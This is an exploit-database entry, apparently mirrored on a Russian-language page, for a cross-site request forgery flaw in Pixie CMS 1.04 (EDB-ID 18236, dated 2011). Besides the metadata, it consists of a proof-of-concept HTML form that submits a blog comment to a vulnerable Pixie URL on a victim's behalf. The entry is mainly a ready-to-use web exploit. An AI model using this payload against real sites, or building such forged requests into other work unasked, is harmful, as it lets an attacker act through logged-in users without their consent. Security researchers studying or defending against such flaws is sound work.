Exploit Pixie 1.04 - Blog Post Cross-Site Request Forgery

[Exploiter]

EDB-ID

18236

Проверка EDB

1. Пройдено

Автор

HACKME

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2011-12-11

# Exploit Title: Pixie v1.04 blog post CSRF
# Google Dork: # Date: 11-Dec-2011
# Author: hackme
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip 
# Version: 1.04# Tested on: Linux Ubuntu 10.10
# CVE :
[+] TH4NKZ T0: broiosen,ReGun and hackgame.it
[+] Vulnerable Url: http://host.com/pixie/?s=blog&m=permalink&x=my-first-post 
[+] Post Method
[+] exploit:

<form method="POST" action="http://127.0.0.1/pixie/?s=blog&m=permalink&x=my-first-post">
name: <input type="Text" name="name" id="name" size="15"/><br>
e-mail: <input type="Text" name="email" id="email" size="15"/>
<br>web(optional): <input type="Text" name="web" id="web" size="15"/><br>
comment: <input type="Text" name="comment" id="comment" size="15"/><br>
<input type="Submit" name="comment_submit" id="comment_submit" value="invia" size="15"/>
<input type="Hidden" name="post" id="post" value="1"/></form>